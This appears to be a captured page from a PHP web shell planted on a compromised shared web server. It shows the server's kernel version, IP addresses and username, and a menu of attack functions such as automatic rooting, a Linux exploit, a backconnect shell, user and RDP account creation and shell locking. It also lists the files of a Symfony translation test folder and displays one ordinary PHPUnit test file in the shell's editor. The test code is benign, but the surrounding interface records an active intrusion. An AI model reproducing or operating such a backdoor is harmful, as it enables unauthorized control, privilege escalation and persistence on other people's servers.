Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
vendor /
symfony /
translation /
Tests /
[ HOME SHELL ]
Name
Size
Permission
Action
Catalogue
[ DIR ]
drwxr-xr-x
DataCollector
[ DIR ]
drwxr-xr-x
DependencyInjection
[ DIR ]
drwxr-xr-x
Dumper
[ DIR ]
drwxr-xr-x
Extractor
[ DIR ]
drwxr-xr-x
Formatter
[ DIR ]
drwxr-xr-x
Loader
[ DIR ]
drwxr-xr-x
Util
[ DIR ]
drwxr-xr-x
Writer
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
DataCollectorTranslatorTest.ph...
3.18
KB
-rw-r--r--
IdentityTranslatorTest.php
3.41
KB
-rw-r--r--
IntervalTest.php
1.15
KB
-rw-r--r--
LoggingTranslatorTest.php
1.7
KB
-rw-r--r--
MessageCatalogueTest.php
8.37
KB
-rw-r--r--
MessageSelectorTest.php
7.65
KB
-rw-r--r--
PluralizationRulesTest.php
3.84
KB
-rw-r--r--
TranslatorCacheTest.php
11.13
KB
-rw-r--r--
TranslatorTest.php
20.91
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DataCollectorTranslatorTest.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Tests; use PHPUnit\Framework\TestCase; use Symfony\Component\Translation\DataCollectorTranslator; use Symfony\Component\Translation\Loader\ArrayLoader; use Symfony\Component\Translation\Translator; class DataCollectorTranslatorTest extends TestCase { public function testCollectMessages() { $collector = $this->createCollector(); $collector->setFallbackLocales(['fr', 'ru']); $collector->trans('foo'); $collector->trans('bar'); $collector->transChoice('choice', 0); $collector->trans('bar_ru'); $collector->trans('bar_ru', ['foo' => 'bar']); $expectedMessages = []; $expectedMessages[] = [ 'id' => 'foo', 'translation' => 'foo (en)', 'locale' => 'en', 'fallbackLocale' => null, 'domain' => 'messages', 'state' => DataCollectorTranslator::MESSAGE_DEFINED, 'parameters' => [], 'transChoiceNumber' => null, ]; $expectedMessages[] = [ 'id' => 'bar', 'translation' => 'bar (fr)', 'locale' => 'en', 'fallbackLocale' => 'fr', 'domain' => 'messages', 'state' => DataCollectorTranslator::MESSAGE_EQUALS_FALLBACK, 'parameters' => [], 'transChoiceNumber' => null, ]; $expectedMessages[] = [ 'id' => 'choice', 'translation' => 'choice', 'locale' => 'en', 'fallbackLocale' => null, 'domain' => 'messages', 'state' => DataCollectorTranslator::MESSAGE_MISSING, 'parameters' => [], 'transChoiceNumber' => 0, ]; $expectedMessages[] = [ 'id' => 'bar_ru', 'translation' => 'bar (ru)', 'locale' => 'en', 'fallbackLocale' => 'ru', 'domain' => 'messages', 'state' => DataCollectorTranslator::MESSAGE_EQUALS_FALLBACK, 'parameters' => [], 'transChoiceNumber' => null, ]; $expectedMessages[] = [ 'id' => 'bar_ru', 'translation' => 'bar (ru)', 'locale' => 'en', 'fallbackLocale' => 'ru', 'domain' => 'messages', 'state' => DataCollectorTranslator::MESSAGE_EQUALS_FALLBACK, 'parameters' => ['foo' => 'bar'], 'transChoiceNumber' => null, ]; $this->assertEquals($expectedMessages, $collector->getCollectedMessages()); } private function createCollector() { $translator = new Translator('en'); $translator->addLoader('array', new ArrayLoader()); $translator->addResource('array', ['foo' => 'foo (en)'], 'en'); $translator->addResource('array', ['bar' => 'bar (fr)'], 'fr'); $translator->addResource('array', ['bar_ru' => 'bar (ru)'], 'ru'); return new DataCollectorTranslator($translator); } }
Close